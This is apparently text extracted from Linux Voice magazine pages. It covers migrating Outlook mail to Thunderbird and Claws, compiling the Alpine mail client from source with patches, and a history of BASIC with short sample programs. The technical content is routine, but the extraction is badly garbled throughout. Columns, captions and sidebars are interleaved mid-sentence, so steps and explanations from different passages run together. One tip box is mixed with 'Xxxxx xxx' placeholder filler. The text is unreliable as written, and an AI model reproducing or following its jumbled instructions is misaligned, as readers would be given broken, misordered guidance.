TUTORIAL MIGRATE FROM WINDOWS

Here’s the Local Folders file show you the location of where to copy the three
structure after importing files from our Windows export procedure in step one
the three files and folders. above, eg /home/username/.thunderbird/bqg0cpfv.
default/Mail/Local Folder.
So copy them into that location, restart Thunderbird,
and you should have your nested folder structure as
you had it on Outlook.

Directly importing PST files
If, for what ever reason, you no longer have access to
a Windows PC with Outlook running and only have
access to the PST files then it is still possible to import
them but it requires a bit more work. This process will
also work for any other mail program that can read
MBOX files, such as Claws.
The Linux email storage medium of choice is
MBOX. To convert a PST file to MBOX you’ll need a
handy CLI tool called readpst, which is part of pst-
utils). It looks like it is not in active development, but it
does work and it’s the best that we could find.
sudo apt-get install pst-utils
It’s quite straightforward to use readpst. It does
have a number of switches, but only the -u option for
use with Thunderbird is selected here:
readpst -u mypst.pst
The output of readpst is a nested folder structure
4 This brings up the “import” pick list, so select “Mail”. where the top level folder is called mypst (it takes
Then you have the option of Outlook, Outlook Express the name of the .pst file) and inside of which is a
or Eudora. It’s wise to make sure that Outlook is not .mbox file that contains all your precious mail. Each
running during this process. subsequent folder and sub-folder is properly named
5 Once the import process has been completed you as per the folder structure of the original pst file and
are left with an additional folder in the Local Folders also contains a .mbox file.
section called Outlook Import or something similar. Getting this MBOX file into Thunderbird is not
On our machine it was named EMAILS. If you right as straightforward as you think, and requires
click on this folder and select Properties, the location the installation of an add-on by the name of
of the files of interest are shown, eg ImportExportTools, also available from Mozilla:
mailbox:///C:/Documents and Settings/username/ https://addons.mozilla.org/en-US/thunderbird/
Application Data/Thunderbird/Profiles/s3e9cqbn. addon/importexporttools. The installation
default/Mail/Local Folder/EMAILS instructions on the website are pretty clear and
If you navigate to this location (warning: under straightforward:
Windows XP, Application Data is a hidden folder) Download and save the file to your hard disk.
you will find the three files we need to copy. EMAILS In Mozilla Thunderbird, open Add-ons from the
(the files with no extensions in Thunderbird are the Tools menu.
MBOX mail files), EMAILS.msf (Mail Summary Files) From the Options button next to the add-on search
and finally a folder called EMAILS.sbd, which is the field, select Install Add-on From File and locate the
directory structure of sub folders, each of which downloaded add-on.
contains another MBOX file and msf file. Copy these
three files and folders to a USB stick or to a server.

Import mail into Thunderbird on the Linux PC
If your Linux machine does not ship with Thunderbird
then it needs to be installed in the manner best suited
to your distribution. For Debian and derivatives the
command sudo apt-get install thunderbird will do
the trick.
First, add your account(s) as usual, using IMAP
instead of POP if possible to make accessing email
via several devices less painful and easier to manage.
Next, locate the Local Folders icon on the left-hand ImportExportTools: selecting the correct option at this
panel, right-click on it and select Settings. This will stage will save you a lot of time.

84 www.linuxvoice.com
MIGRATE FROM WINDOWS TUTORIAL

Migrating applications
So we’ve had a good look at printing and email Microsoft Project is another heavyweight the strapline for Wine (www.winehq.org) which
migration – but application incompatibility can also application, both in terms of performance and cost, considers itself a compatibility layer rather than
be an issue when moving an office to Linux. There but there are replacements that claim a very high an emulator. Results may vary, so lots of testing is
are three main ways to handle this: degree of compatibility. One of the most notable required, but there are also commercial variants of
1 Replace the Windows program with a native is ProjectLibre (www.projectlibre.org), a highly Wine for additional compatibility. Wine tends to be
Linux one. featureful program that has won several awards. better with older versions of applications, and the
2 Fool the windows application to run on Linux Sage accounting software for small businesses compatibility database at http://appdb.winehq.org
using an emulator. has a huge market presence (especially in the UK) describes how well certain versions work.
3 Use virtualisation to run the Windows application and if a direct Linux replacement like GnuCash One of the most important tools everyone should
in a virtual machine. (www.gnucash.org) doesn’t fit the requirement, then get to grips with is virtualisation. Being able to
another option like virtualisation may be required. create a virtual machine and run it inside your
Replacing Photoshop aficionados are well catered for, as one main operating system is very useful for many
This is always the best option from a performance of the most famous open source applications is reasons: it can be used to test out a variety of
perspective, because you run a native program and Gimp (www.gimp.org), but beware – it is just as Linux distributions before making a commitment,
not through an emulation layer or virtual machine. complex as Photoshop to use. For more casual or testing a new build before upgrading the main
Microsoft Office is the most obvious starting point, editing of photos you can do a lot worse than try machines. In a migration, a program like VirtualBox
and LibreOffice (www.libreoffice.org) is an excellent Pinta (www.pinta-project.com). (www.virtualbox.org) can be used to run Windows
replacement. File compatibility improves with each inside Linux, which is useful if you have one or two
release, and the Draw package now even supports Emulating and virtualising Windows programs for which there is simply no free
compatibility with Visio files. “Run Windows applications on Linux” – that’s software alternative. See issue 4 for our tutorial.

The new functionality is added under the Menu
> Tools drop-down as ImportExportTools (it’s even
easier to find if you right-click on your Local Folders
icon). Choosing the option to “Import mbox file”
reveals a pop-up box with a list of options that
are not at first obvious, but the option Folder With
Subdirectories yields the best results.
Where this process has problems is that that the
folder names are not imported or used and the folder
structure not kept, which makes for a messy import
and a subsequent manual process of renaming Select the destination folder
folders and nesting them they way you want. For POP3 or IMAP. However, the import of a MBOX file is to which the contents of the
this reason the original method is recommended for hard work. A separate folder creation/import process MBOX are to be imported.
migrating from Outlook to Thunderbird. But if you do is required for each individual MBOX, which could
have .pst files with little or no folder structure then it’s soon drive you batty if you have a complex PST with
perfectly workable. many nested folders.
Right-click on the main account folder (eg
Claws mail markyd@), select Create new folder and name it Old_
Claws was the second email client that we tested Mail. From the top line select File/Import Mbox File
tested: it has a reputation of being fast, if a little less and in the pop-up box fill in the details of the source
fully featured than Thunderbird. It is simple to install location of your MBOX file and the folder destination
and it was no hassle to configure accounts, either as (Old_Mail in this case)
and once executed the “If you or your employees chose
contents of the MBOX
are imported into the
an email client like Thunderbird,
folder you created. the move will be easy.”
In summary, moving
email over to Linux is
a good first step in a transition away from Windows.
If you or your employees choose an email client
like Thunderbird, the move will be easy because of
its familiar user interface. In a larger company, it’s
important for users to know that they’re running
a different program (ie they don’t just think it’s a
different Outlook theme), and that some things will
work differently. Good luck!

Mark Delahay is an IT consultant who has spent many a year
Claws may be fast and simple but importing nested PST
battling to overcome Microsoft’s so-called “solutions”.
files is very hard work.

www.linuxvoice.com 85
TUTORIAL BUILDING SOFTWARE

LINUX 101: COMPILING
TUTORIAL
SOFTWARE FROM SOURCE CODE
Binary packages are all good and well, but to get the latest features
MIKE SAUNDERS
and useful patches, it’s worth building programs from source.

Y
ou might think that it’s utterly pointless to otherwise you need to compile the new release from
WHY DO THIS? compile programs from their original, its source code.
• Get the latest programs human-readable source code, given how And that’s not the only reason to do it: you can often
without waiting for your
distro to package them many awesome binary package managers exist in the enable hidden, experimental or unfinished features by
up for you Linux world. And fair enough: in most cases it’s better building from source. On top of this, you can apply
• Enable non-standard to grab something with apt-get or yum (or whatever patches from other developers that add new features
features and add new your distribution uses) than to take the extra steps or fix bugs that the software’s maintainers haven’t yet
ones with patches
required to build things by hand. If a program is in your sorted out. And when it comes to security, it’s good to
• Stay extra secure by
using binaries that you’ve distro’s repositories, is up-to-date and has all the know that the binary executables on your machine
compiled yourself features you need, then great – enjoy it. have been generated from the original developer’s
But it doesn’t always work like that. Most distros source code, and haven’t been tampered with by a
aren’t rolling-releases (Arch is one of the few Linux malicious distro developer. (OK, this isn’t a big worry in
distributions that is) so you only get new versions of Linux, but it’s another potential benefit.)
packages in the stable branches once or twice a year. We’ve had several requests to run a tutorial on
You might see that FooApp, one of your favourite compiling software, and explain some of the black
programs, has just reached version 2.0, but only magic behind it. We often talk about compiling
version 1.5 is available in your distro’s package programs in our FOSSpicks section, as it’s the only
repositories. So what do you do? If you’re in luck, you way to get them – so if you’ve had trouble in the past,
might find a third-party repository for your current hopefully you’ll be fully adept after reading the next
distro release with the latest version of FooApp, but few pages. Let’s get started!

1 GRABBING THE SOURCE
Although there are various build systems in use in the page before you get started here, so that you don’t get
Free Software world, we’ll start with the most lost as soon as you start.
Normally, documentation
files are in all uppercase common one, generated by a package called GNU Here we’re going to build Alpine, a (very good)
and contain plain text – eg Autotools. Compiling software makes heavy use of text-mode email client that works as an ideal example
LICENSE, README and the command line – if you’re fairly new to Linux, check for this tutorial. We’ll be using Debian 7 here, but the
VERSION here. out the Command Line Essentials box on the facing process will be similar or identical across other
distributions as well. These are the steps we’re going
to take, and you’ll use all or most of them with other
programs you compile:
1 Download the source code and extract it.

2 Check out the documentation.

3 Apply patches.

4 Configure to your liking.

5 Compile the code.

6 Install the binary executable files.

Alpine is a continuation of the Pine email client of
yesteryear. If you search for its official site you’ll see
that the “latest” version is 2.00, but that’s ancient
– some developers have continued hacking away on
it elsewhere, so go to http://patches.freeiz.com/
alpine to get version 2.11. (If a newer version has
arrived by the time you read this article, adjust the
version numbers in the following commands
accordingly.) The source code is contained in
alpine-2.11.tar.xz, so open a terminal and grab it like

86 www.linuxvoice.com
BUILDING SOFTWARE TUTORIAL

so:
wget http://patches.freeiz.com/alpine/release/src/alpine-2.11. Command line essentials
tar.xz
If you’re new to Linux and the command line, here are some
This is a compressed archive that needs to be super quick tips. Open a command line via Terminal,
extracted. You can use the same command for Konsole or XTerm in your desktop menu. The most useful
archives that end in .tar.gz and .tar.bz2: commands are ls (to list files, with directories shown in
tar xfv alpine-2.11.tar.xz blue); cd (change directory, eg cd foo/bar/, or cd .. to go
down a directory); rm (remove a file; use rm -r for
(If the file ends in .zip, try unzip <filename>.) As the directories); mv (move/rename, eg mv foo.txt bar.txt), and
archive is extracted, you’ll see a bunch of files whizz pwd (show current directory).
by on the screen – enter ls when the process is done Use less file.txt to view a text file, and q to quit the
and you’ll see a new directory. Enter cd alpine-2.11 to viewer. Each command has a manual page (eg man ls)
switch into it. Now enter ls again to have a nosey showing options – so you can learn that ls -la shows a
detailed list of files in the current directory. Use the up and
around and see what’s inside. down arrow keys to cycle back through previous
If you see a green file called configure, that’s great commands, and use Tab to complete file or directory PRO TIP
– you can almost certainly start building the software names: eg if you have longfilename.txt, enter rm long and
If you want
Xxxxx xxx xxxto uninstall
xx xxxx xxx a
straight away. But nonetheless, it’s wise to check out then hit Tab should complete the filename.
xx xxx xx you’ve
program xxxx xxxcompiled
xxx xxx
the program’s own documentation first. Many xx xxxx
from source,
xxx xxyou
xxxcan
xx xxxx
applications include INSTALL and README files along Similarly, check out the README as well. Alpine xxx xx xxx
usually make
runxx xxxx xxx xx
uninstall
xxx xx xxxx (asxxx
root)
xx xxx
at the
xx
with the source code; these are plain text files that you only has a README file, but it’s fairly decent, xxxx xxx
same stage
xx xxx
thatxxyou’d
xxxxxxrun
can read with the less command. Sometimes the explaining the commands required to build the source xxx xx install
make xxx xx in
xxxx
thexxx
text.
xx
INSTALL file will contain “generic installation code, and listing the binary executable files that will be xxx xxremoves
This xxxx xxxthexxfiles
xxx that
xx
xxxxcommand
the xxx xx xxxput xx in
xxxx
place
instructions”, with hundreds of lines of boring, produced. It’s lacking something important, though: a earlier.
non-app-specific information, so it’s a good idea to list of dependencies. Very few programs can be
ignore it. If the INSTALL file is short, to-the-point and compiled with just a standalone compiler, and most
written specifically for the program in hand, skim will need other packages or libraries installed. We’ll
through it to see what you need to do. come to this in a moment.

2 APPLYING PATCHES
So, we’ve done steps 1 and 2 – downloading the This means that the new “threadsort” line in the
source and reading the documentation. In most cases patch should be added after the first two (which
you’d want to go straight on the compilation step, but already exist in the original code). But why doesn’t the
occasionally you may prefer to add a patch or two patch simply use line numbers? Well, it’s possible to
beforehand. Put simply, a patch (aka a “diff”) is a text do it that way, but then the patch becomes useless if
file that updates lines in the source code to add a new you make even the tiniest change to the file yourself. If
feature or fix a bug. Patches are usually very small in you add a line, all of the line numbers in the patch
An example of a typical
comparison to the original code, so they’re an efficient become out of sync, so you need to make a new one. patch: changed lines of
way to store and distribute changes. By having a few lines from the original code in the code begin with a ! symbol,
If you go back to http://patches.freeiz.com/alpine, patch, you have some context, so the patch can whereas new lines have +
you’ll see a list of “Most popular patches” near the top. normally still be applied even if the code has been at the start.
Click on the “Enhanced Fancy Thread Interface” link to
go to http://patches.freeiz.com/alpine/info/fancy.
html. Along the top you’ll see links to patches for
various Alpine versions – so because we have Alpine
2.11, click the link with that number to download
fancy.patch.gz.
Now move that file into your alpine-2.11/ directory.
You might be curious to have a peek inside the patch
to see how it works, but as it’s compressed you’ll need
to enter:
zless fancy.patch.gz
Lines starting with *** show which source code
files are to be modified, and the + and ! characters at
the start of a line show lines that should be added or
changed respectively. So if you see something that
looks like this:
char *debug_str = NULL;
char *sort = NULL;
+ char *threadsort = NULL;

www.linuxvoice.com 87
TUTORIAL BUILDING SOFTWARE

can test the effects of the patch without actually
having to make any changes to the code by using the
--dry-run option, like so:
zcat fancy.patch.gz | patch -p1 --dry-run
Here, zcat extracts the patch into plain text, and
then it’s piped with the | character into the patch tool.
(If you’ve never used it before, the pipe character is a
massively useful way to move data between
programs – you can send the output of one program
straight to another, without redirecting it via text files).
Anyway, we use -p1 in this patch command
because we’re already inside the source code
directory; if you’re outside it (like, a level above in the
filesystem) or the patch doesn’t work, try removing it.
Once you execute this command, you’ll see lines like:
patching file alpine/setup.c
If it all works, re-run the command omitting the
--dry-run option, and the changes will be made
permanent. Congratulations – you’ve just spruced up
Many open source
changed by a different patch. To apply a patch, you Alpine with a new feature! Some programs have
programs and games, such
as those we cover in need to use the (surprise!) patch command. hundreds of patches from other developers, and
FOSSpicks, are only This is installed by default in most distributions, so patches are often rolled into the main source code
provided as source code. you shouldn’t need to go hunting for it anywhere. You once they’ve been well tested.

3 CONFIGURING AND COMPILING
We’re almost ready to compile the source code, but manual pages should go, and so forth. These are
there’s still one more important step: configuration. As pretty generic and apply to almost every program you
mentioned earlier, many programs have features and build from source using this process, so scroll down
experimental options that are not compiled into the to the Optional Features section – this is where the
executables by default, but can be enabled by fun begins.
advanced users. (Why don’t the developers simply In this section you’ll find features specific to Alpine.
include the features, but have a command line switch The Optional Packages section beneath it also has
to enable them? Well, certain features can impact the things that you can enable or modify using the
stability of the overall code, so they’re not compiled in relevant command line flags. For instance, if you have
by default until they’re deemed as reliable.) a command line spellchecking program that you love,
Enter the following command: and want to use it inside Alpine, you’ll see that there’s
./configure --help | less a --with-interactive-spellcheck option. You would use
This runs the configure script in the current it like so:
directory and spits out its help text to the less viewer ./configure --with-interactive-spellcheck=progname
(that’s a pipe symbol before the less command). Providing progname is in your usual paths (eg /bin,
Scroll down and you’ll see that there’s a huge list of /usr/bin, /usr/local/bin) then this should work.
options you can change: the installation prefix (where Many of the options in Alpine’s configure script let
it should be installed, eg /usr/local/), where the you disable things rather than enable them. This is

The CMake alternative
While many programs still use the GNU Autotools approach of The && here is important, and you might not have come
./configure, make and make install (especially those programs across it before if you don’t spend much time at the command
that are part of the GNU project), an alternative is becoming line. Basically, it means: only run the following command if the
increasingly popular: CMake. This does a similar job, but it previous command was successful. So only try to compile the
requires different commands, so we’ll go through them here. code if the configuration step (cmake ..) went without any
As with Autotools-based programs, however, it’s well worth problems. (You’ll often see shell scripts where multiple
checking out the README and INSTALL files (if they exist) commands are strung together with && symbols, to make sure
before you do anything. that everything runs in order and correctly.
Extract the program’s source code and cd into the resulting After the software has been compiled, you’ll need to run the
directory. Then enter the following commands: make install step as root, as described in the main text (using
mkdir build su root -c in Debian and sudo in Ubuntu). The files will be
cd build copied into your filesystem, and you can run the program
cmake .. && make using its name.

88 www.linuxvoice.com
BUILDING SOFTWARE TUTORIAL

because Alpine is highly portable and runs on many
different operating systems, so if you’re compiling it
for a fairly obscure Unix flavour you may need to
disable some features.
Now, there may be nothing that particularly takes
your fancy, so you can run the configure script on its
own like so:
./configure
But configure also does something else that’s
important: it makes sure that your system has
everything needed to compile the program. For
instance, if you don’t have GCC installed, you’ll see an
error message saying that you don’t have a compiler.
On Debian and Ubuntu-based systems, a quick way to
get the basic packages required for compiling
software is to install the build-essential package. On
Debian (you’ll be prompted for your root password):
su root -c “apt-get install build-essential”
And on Ubuntu (you’ll be prompted for your normal
Using the configure script
user password): README file in subsequent versions of the program…
you can customise the
sudo apt-get install build-essential Once the configure script has run without any hitches, installation locations and
Now run ./configure again and see if any other error enter the most important command of all: enable experimental or
messages come up. This is where it can start to get a make advanced features.
bit messy, thanks to the complicated world of This does the compilation job, and depending on
dependencies – that is, external libraries that the the size of the program, it could take minutes (a small
program depends on. For instance, on Debian we got command line tool) to hours or days (LibreOffice). So
an error of “Terminfo/termcap not found”. That’s not grab a cuppa and check back in periodically. Once the
especially useful, as it doesn’t tell us which package compilation is complete, you’ll need to copy the files
we need. But 20 seconds of Google searching for that into your filesystem – this requires root (admin)
error message provided a solution: we need to install privileges. So on Debian:
libncurses5-dev. su root -c “make install”
And on Ubuntu:
Finding dependencies sudo make install
A similar error popped up for PAM, which we resolved And that’s it! Start the program by typing its name
by installing libpam-dev. Ultimately there’s no magic on the command line – eg alpine. And enjoy the warm
way to solve dependency issues, but you can usually fuzzy feeling of running a program that was compiled
get by with the README/INSTALL files, Google and on your own machine, with your own patches and
apt-cache search to find packages with names options, because you’re no longer a slave to the distro
relating to the error messages (you usually need ones vendors. You can now grab and install programs
that end in -dev to compile programs from the before someone packages them up, and you’ll find it
source). If you get completely stuck, try asking on the much easier to try the applications that we feature in
program’s forum or mailing list, or even try contacting our FOSSpicks section. Happy times indeed.
the developer directly. You may even politely suggest If you’re a developer, you can use GNU Autotools to
that he/she includes a list of dependencies in the provide the same configure script and Makefile setup
that many other programs use. This is better than
rolling your own build scripts, as distro packagers
prefer using established and well-known systems. An
excellent – albeit extremely lengthy – tutorial can be
found at http://autotoolset.sf.net/tutorial.html. You
can ignore much of it (especially the sections on
Emacs if you don’t use that editor), so skip down to
the part that’s headlined “The GNU build system”. This
is another name for Autotools, and the guide there will
show you how to put the right files in place and set up
their contents correctly so that users can simply run
./configure, make and make install as normal.

And here it is: our freshly baked, self-compiled Alpine mail Mike Saunders has been compiling stuff for more than
15 years, and once compiled a compiler for the ultimate
client. It’s not much to look at, but take it from us, it’s a very
recursive experience.
fine mailer indeed.

www.linuxvoice.com 89
TUTORIAL BASIC

BASIC: THE LANGUAGE THAT
TUTORIAL
STARTED A REVOLUTION
Explore the language that powered the rise of the microcomputer –
JULIET KEMP
including the BBC Micro, the Sinclair ZX80, the Commodore 64 et al.

L
ike many of my generation, BASIC was the first John Kemeny, who spent time working on the
WHY DO THIS? computer language I ever wrote. In my case, it Manhattan Project during WWII, and was inspired by
• Learn the Python of was on a Sharp MZ-700 (integral tape drive, John von Neumann (as seen in Linux Voice 004), was
its day
very snazzy) hooked up to my grandma’s old black chair of the Dartmouth Mathematics Department
• Gain common ground
with children of the 80s and white telly. For other people it was on a BBC from 1955 to 1967 (he was later president of the
• Realise how easy we’ve Micro, or a Spectrum, or a Commodore. BASIC, college). One of his chief interests was in pioneering
got it nowadays explicitly designed to make computers more computer use for ‘ordinary people’ – not just
accessible to general users, has been around since mathematicians and physicists. He argued that all
1964, but it was the microcomputer boom of the late liberal arts students should have access to computing
1970s and early 1980s that made it so hugely popular. facilities, allowing them to understand at least a little
And in various dialects and BASIC-influenced about how a computer operated and what it would do;
languages (such as Visual Basic), it’s still around and not computer specialists, but generalists with
active today. computer experience. This was fairly far-sighted for
The very first version of BASIC (which stands for the time – Kemeny correctly argued that computers
Beginner’s All-purpose Symbolic Instruction Code), would be a major part of Dartmouth students’ future
Dartmouth BASIC, was designed and implemented at lives even if they weren’t themselves ‘programmers’.
Dartmouth College in 1964. It was written by a team
of students working (often all night during the initial Dartmouth BASIC
sessions) under the direction of the designers, John His colleague, Thomas E Kurtz, another Dartmouth
Kemeny and Thomas Kurtz. mathematics professor, was also enthusiastic about
In 1964, “computer” still meant a huge mainframe this idea. Their aim was to make computers freely
machine, with very limited access. To run a program, available to all students, in the same way as library
you needed to get it onto punch cards, submit your books (Dartmouth was famous for its large open
punch cards to be run, then get more punch cards access library). Later, Kurtz became director of the
back with the output of your program. It was a slow Computation Centre, and later the Office of Academic
Here’s bwBASIC running and opaque process, and initially only a very few Computing, and the CIS program, at Dartmouth. He
the square root program, people had any kind of access at all. However, in the and Kemeny also developed True BASIC in the early
then using the LIST early 1960s, less mathematically oriented students 1980s, which Kurtz still works on.
keyword interactively to and researchers were just beginning to use Widening computer access meant dealing with two
show the code listing. computers for their research. problems. One was the non-intuitive nature of ALGOL
and FORTRAN, the most popular languages at the
time. Kemeny and Kurtz felt that the more instruction
was needed to begin to write programs in a language,
the fewer students would end up using it. BASIC was
written to be intuitive, using keywords like GOODBYE
to log off. And although this very first version of BASIC
was compiled, it was still “compile and go” – meaning
that from the programmer’s point of view, compiling
and executing the program was a single step, and
feedback was immediate. (Later versions were
interpreted, meaning that programs ran without an
intermediate step in which the whole program was
compiled into machine code.) This all made it easier
for non-specialists to start programming.
The second problem was that computers were still
large, expensive machines taking up a whole room.
Actually providing each student and faculty member
with a computer was not remotely feasible. However,
a new idea had just arisen which would make

90 www.linuxvoice.com
BASIC TUTORIAL

computer access much easier. This was time-sharing,
in which multiple teletypes were connected to a single
central computer. The computer would then allocate a
certain amount of time to each simultaneous user. So
the user could type in a BASIC program, and see it run,
from their teletype in another room. A time-sharing
scheme had just been implemented at MIT by John
McCarthy, who recommended the system to Kemeny
and Kurtz. But the Dartmouth Time-Sharing System,
which went live, along with BASIC, on 1 May 1964,
was the first successfully implemented large-scale
such system.
Later, a few local secondary schools were also
added to the network, and eventually the Dartmouth
Educational Network was formed, allowing over 40 due to its lacking a standard input/output library. It Our Name program running
on bwbasic, again with the
colleges, 20 secondary schools, and a variety of other has, though, had a huge effect on computer language
LIST keyword shown.
institutions to access computing facilities remotely. development, largely due to the fact that it was used
Eighty percent of Dartmouth students were able to as a standard algorithm description for years.
learn to program using BASIC and the DTSS.
The first BASIC program run from a terminal ran on Running Dartmouth BASIC
1 May, 1964 (exactly 50 years ago as I write this), and An emulator is still theoretically available online, but
consisted, depending on who you ask, either of an the online version no longer works at time of writing,
implementation of the Sieve of Eratosthenes (which and the download version only exists for Mac and
finds prime numbers), or of this line: Windows. (It’s also seven years old so may not work
PRINT 2 + 2 on either anyway; I was unable to test it.)
For historical resonance, try that in the emulators However, at least some Dartmouth BASIC
discussed below before you get started with the rest programs ought to run with a modern BASIC
of the programs. interpreter. The Dartmouth BASIC manual from
October 1964 is available online from Bitsavers.org (a
ALGOL fantastic resource). The second program listing in the
BASIC was loosely based on FORTRAN II and a little manual will run with the bwbasic interpreter (available
bit of ALGOL 60. Kemeny and Kurtz initially tried to as a package for Debian/Ubuntu) and ought to run on
produce a cut-down version of one of these any other BASIC interpreter, as it is pretty
languages; when this didn’t work, they moved on to straightforward:
creating their own. 10 LET X = 0
ALGOL, which exists in several variants, is 20 LET X = X + 1
imperative and procedural. ALGOL 58 was intended to 30 PRINT X, SQR(X)
avoid the problems seen in FORTRAN, and eventually 40 IF X <= 100 THEN 20
gave rise to a huge number of languages including C 50 END
and Pascal. ALGOL 60 improved on ALGOL 58, As is fairly obvious (BASIC was after all designed to
introducing nested functions and lexical scope, be easy to read), this is just a loop that prints out x and
among other things. While very popular among its square root for the values 1 to 101. A couple of
research scientists, it was never commercially popular notes: firstly, BASIC is case-sensitive in general, but in
bwbasic, commands and functions are not case-
sensitive. LET and let will do the same thing. (This is
Other emulators not true of all BASICs – many insist on caps.)
Line numbers, as in the loop here, are used as
Lots of other emulators are also available for various early
labels. They are also used by the compiler to
microcomputers and for BASIC. Here are a few options:
A list of Spectrum emulators www.worldofspectrum.org/ automatically order the lines. You could write the lines
emulators.html. of code backwards in your file (from 50 down to 10),
Two ZX81 emulators are available for Linux: SZ81 (http:// and the compiler would rearrange them for you and
sz81.sourceforge.net), and Z81 (www.svgalib.org/rus/ run them in the correct order. It is a good idea to
z81.html).
number your lines in 10s rather than 1s, to make it
Dartmouth BASIC (RFO BASIC) is available for Android
http://laughton.com/basic. easier to insert new lines in between. Unfortunately,
And if you’re looking for type-in programs to try out, bwbasic doesn’t include the RENUMBER command,
the book BASIC Computer Games is available as an which is in the ANSI BASIC standard, though it does
online scan. (NB: this worked when I first looked at it, include DO NUM and DO UNNUM (which number and
then didn’t a week later. I include it here in the hope
un-number the program lines, but do not change any
that the problem is temporary.) www.atariarchives.
orgbasicgames. GOSUB or GOTO statements). Dartmouth BASIC
didn’t have RENUMBER either, though.

www.linuxvoice.com 91
TUTORIAL BASIC

you could type BASIC statements straight in at the
prompt once the machine started.
Type-in programs – long listings for the user to type
in directly – were very popular in books and in
computer magazines. A lack of cheap portable
storage media (some machines took tapes, but
packaging a tape with a magazine was expensive in
the 70s; and few people had modems or bulletin
board access), combined with the fact that programs
had to be fairly short due to the memory and other
limitations of the machines, meant that it was
possible to type in even quite complicated programs.
However, type-ins could take hours, and the process
was error-prone for lots of reasons, including
programmer error, typing error, and poor-quality
printing. After the arduous process of typing in, the
eager reader would then have to track down the bugs
they’d introduced. When listings were all written in
straight BASIC, this wasn’t too hard. But as programs
became more complicated, it became more common
to have long listings of machine language or
Our Dice program typed
into BBC BASIC simulator. This doesn’t use GOTO, as the IF/THEN statement assembly code, with only a little snippet of BASIC
Note the error in line only needs a single line. Run it with bwbasic test.bas which handled POKEing this into various locations.
40 (later corrected by to try it out. You can also use bwbasic interactively. This was nearly impossible to debug. Tactics to
reentering the line). Unfortunately, the first program in the Dartmouth resolve this problem included checksum programs to
manual doesn’t run under bwbasic, as it relies on apply to each line of machine code, but it made
READ and DATA behaving in certain ways. READ is type-ins ever harder to use. Early on, you could often
used to read values from the next available DATA line. send a small sum to the programmer in exchange for
It seems that in 1964 Dartmouth BASIC, when the a tape of the program, and by the mid-1980s it was
program ran out of DATA lines, it would stop. In becoming more common for magazines to include
bwbasic, it just stops reading in new values, but tapes on the cover.
continues to run (if possible) with any values already Another issue was that there were lots of different
present. This demonstrates one problem with dialects of BASIC (all the manufacturers mentioned
translating BASIC programs between different above had their own versions). Some programs might
dialects; the detail of the keywords can vary enough to be transferable, or universal, since there was a shared
cause problems. core set of keywords, but the detail of keyword
implementation varied, and some BASICs had
BASIC with microcomputers keywords which others did not. (As demonstrated in
In the mid-1970s, advances in technology led to the the two different dialects of BASIC in the next section.)
invention of the microprocessor – a single chip that The various dialects meant that some magazines
could act as an entire CPU, rather than the many were variant- or machine-specific, and some would
different components that made up a mainframe add notes for changes to make to the printed listing
CPU. This in turn meant the emergence of for different machines. They would also add
microcomputers: small, relatively cheap computers suggested changes that users could make to alter the
that could be used at home. printed program, promoting the fundamental idea
The first models were sold in kit form and were behind BASIC that programming was something
very limited (like the Altair 8800, which had only anyone could do.
256 bytes of RAM, and only switches and lights for In 1984, COMPUTE! Magazine published a type-in
input/output); but very quickly, home users could word processor, SpeedScript (later also published as a
get machines that were cheap, fairly easy to set up book), which may have been the high point (in one
(they would often plug into a TV as a monitor), and sense, at least) of type-in programming. In 1988, the
genuinely useful. Classic microcomputers of this magazine discontinued all type-in programs, and
era included the Commodore 64 (the single highest- type-ins in general faded around that time, though for
selling computer model of all time); the Sinclair 8-bit machines they lasted into the 1990s.
ZX-80, ZX-81 and Spectrum; the BBC Micro; and the
Apple II. All of these (and pretty much every other BBC BASIC emulator
microcomputer of the time) had some variety of There are various emulators available for various
BASIC as a built-in primary programming language different manufacturers and brands of machine, but
and operating environment. You didn’t just write your one of the easiest to use (and of a brand which was
programs in BASIC, you used BASIC to run them, and very popular in the UK at the time) is the JavaScript

92 www.linuxvoice.com
BASIC TUTORIAL

implementation of the BBC Micro JSBeeb (at http://
bbc.godbolt.org). You can load your own disc images, GOTO Considered Harmful
as well as several discs from the StairwaytoHell.com BASIC contained, from a reasonably early is happening in the course of the program,
archive; but you can also type BASIC files in line-by- version, the GOTO statement. A couple where, and when).
line directly to the emulator. (Be warned that some of of years later, Dutch computer scientist However, in early versions of BASIC, due
the keys behave a bit strangely; I had to experiment to Edsger Dijkstra wrote his classic essay to interpreter limitations in handling FOR or
work out where it thought keys like =, +, *, etc were.) Go To Statement Considered Harmful, arguing WHILE (and single-line IF statements), GOTO
that the GOTO statement encourages messy was essential. Modern versions of BASIC
You can type in the program listings here exactly as programming and makes it too easy to lose deprecate it for uses other than returning to
given. If you type in a line without a line number, that track of the program process (roughly, what the top of a main loop.
line will be immediately executed. Lines with line
numbers are stored in memory. If you re-enter a given
line by number then the previous one is overwritten. The same simulation for bwbasic is a little different
You can list the program currently in memory with in the way it generates the random numbers:
LIST, and delete a range of lines with DELETE 10-100. 35 RANDOMIZE TIMER
The four lines below comprise the first program I 40 FOR I = 1 TO DICENUMBER
remember writing in BASIC: 50 DICERANDOM = RND
10 PRINT “HELLO, WHAT IS YOUR NAME?” 60 PRINT “DIE THROWN “; CINT( DICERANDOM * 5 + 1)
20 INPUT NAME$ 70 NEXT
30 PRINT “HELLO “ NAME$ 80 END
40 END bwbasic only implements RND without the
Once you’ve typed that in, type RUN, which runs the parameter, so our random number is somewhere
lines in memory, and it should do what you would between 0 and 0.9999…. The CINT keyword (not
expect. BASIC listings at this sort of level are pretty available in BBC BASIC, although INT does something
self-explanatory! Note that to get a string variable, you similar) rounds a number down to the integer below it.
need to use a name ending in $; without that the So to generate our 1–6 random number, we multiply
default variable type is numeric. Here, if you don’t use by 5, add 1, and round down.
the $, it will try to translate the input into a number An easy improvement of this program would be to
(and doubtless output something odd). enable the user to specify how many sides the dice
You can also define arrays in BASIC with this line: have, as well as how many dice to throw. Beyond that,
DIM MyVariable(20) play around with it as you like.
which will create a numeric array of length 20. BBC BASIC has also been updated and made
Keywords in BBC BASIC must be in capitals; variable available for various platforms including Z80-based
names can be lower case or upper case as you prefer computers. The manual and downloads for the Z80
(but are case sensitive). (It was common at the time and DOS version are available online here
just to stick caps lock on and use that for everything, (www.bbcbasic.co.uk/bbcbasic/bbcbasic.html).
to avoid errors with keywords.) These versions are intended to be as compatible as
Note that if you would rather run this on bwbasic, possible with the BBC BASIC that ran on the BBC
you need to change line 30: Micro series computers, so the manuals available
30 PRINT “HELLO “; USERNAME$ here are your best option if you want to experiment
which is one illustration of the differences between more with the emulator. From the same site, you can
different versions of BASIC. also download Brandy BASIC for Linux, which you will
Now here’s a dice simulation to type into the BBC have to compile to run.
